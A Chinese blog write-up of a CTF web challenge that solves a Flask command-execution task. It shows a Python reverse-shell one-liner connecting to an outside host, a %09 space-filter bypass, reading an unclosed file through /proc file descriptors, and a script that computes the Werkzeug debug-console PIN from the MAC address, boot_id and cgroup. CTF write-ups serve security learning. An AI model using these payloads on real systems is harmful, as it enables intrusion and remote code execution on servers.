• [NSSRound#7 Team]ShadowFlag



    前置知识

    /proc目录

    Linux系统上的/proc目录是一种文件系统,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。/proc 目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件。

    利用思路:当某些文件打开时并未close或者是flask在运行时,可以利用proc目录去查看某些文件,比如本题的flag1

    python的反弹shell

    payload

    python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("f57819674z.imdo.co",54789));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
    
    • 1

    pin码计算

    本题的flag2由于用的是with语法打开,所以会默认关闭文件,不像flag1可以查看。所以得计算pin码从flask的环境中去寻找flag2
    脚本如下(详细过程可参考解题过程)

    import hashlib
    from itertools import chain
    probably_public_bits = [
        'root'  
        'flask.app',
        'Flask',
        '/usr/local/lib/python3.10/site-packages/flask/app.py'
    ]
    
    private_bits = [
        '2485376927778',  
        '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
    ]
    
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    
    cookie_name = '__wzd' + h.hexdigest()[:20]
    
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    
    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    
    print(rv)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    解题步骤

    打开题目,源码如下

    from flask import Flask, request
    import os
    from time import sleep
    
    app = Flask(__name__)
    
    flag1 = open("/tmp/flag1.txt", "r")
    with open("/tmp/flag2.txt", "r") as f:
        flag2 = f.read()
    tag = False
    
    
    @app.route("/")
    def index():
        with open("app.py", "r+") as f:
            return f.read()
    
    
    @app.route("/shell", methods=['POST'])
    def shell():
        global tag
        if tag != True:
            global flag1
            del flag1
            tag = True
        os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
        action = request.form["act"]
        if action.find(" ") != -1:
            return "Nonono"
        else:
            os.system(action)
        return "Wow"
    
    
    @app.errorhandler(404)
    def error_date(error):
        sleep(5)
        return "扫扫扫,扫啥东方明珠呢[怒]"
    
    
    if __name__ == "__main__":
        app.run()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43

    分析一下
    定义了flag1为打开flag1的内容(注意打开后并没有close()),然后利用with语法打开flag2并且结束时关闭文件,把变量tag设置为False;看看/shell路由,首先如果tag为False,那么删除flag1和flag 2,然后接收参数act命令执行,其中过滤空格;然后是限制我们扫目录(猜测怕我们扫出来/console

    flag1打开后并没有close,由于flask一直在运行,那么我们就可以在proc目录去寻找,但是这里命令执行是没有回显的,我们可以反弹shell

    python3%09-c%09'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("f57819674z.imdo.co",54789));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
    
    • 1

    在这里插入图片描述成功反弹shell
    在这里插入图片描述
    我们在/proc/16/fd目录下找到flag1(一般在15-35)
    在这里插入图片描述

    第二部分我们要在flask环境变量里去找,也就是要算pin码访问./console
    首先通过报错得到app.py的绝对路径
    在这里插入图片描述

    然后获取username
    在这里插入图片描述

    然后获取网卡地址

    cat /sys/class/net/eth0/address
    
    • 1

    在这里插入图片描述
    去掉冒号转十进制
    在这里插入图片描述
    -最后的系统id包括两部分,我们先读取/proc/sys/kernel/random/boot_id(有些题目是/proc/sys/kernel/random/boot_id

    在这里插入图片描述

    然后取/proc/self/cgroup并且只读取第一行,并以从右边算起的第一个/为分隔符

    在这里插入图片描述修改脚本(前置知识处有)
    访问./console,发现flag2读取不到
    在这里插入图片描述
    这是因为我们要在对应的环境下获取
    所以我们访问./shell,POST传参(不为act即可)
    然后找到对应的环境,点击右边的调试即可进入debug
    在这里插入图片描述

  • 相关阅读:
    每天五分钟深度学习pytorch:训练神经网络模型的基本步骤
    Java项目: 基于SSM实现教务管理系统
    Linux常用基本指令
    图形/多段线内缩外扩思路
    辐射骚扰整改思路及方法:实地验证?|深圳比创达电子EMC
    C++面试 -分布式架构-架构能力:分布式事务的学习
    NVIDIA Jetson AGX Orin官方系列文章汇总
    猿创征文 |【SpringBoot】SSM“加速器”SpringBoot初体验
    STM32中断和外部中断
    vue3 Driver.js 页面分步引导
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/134422089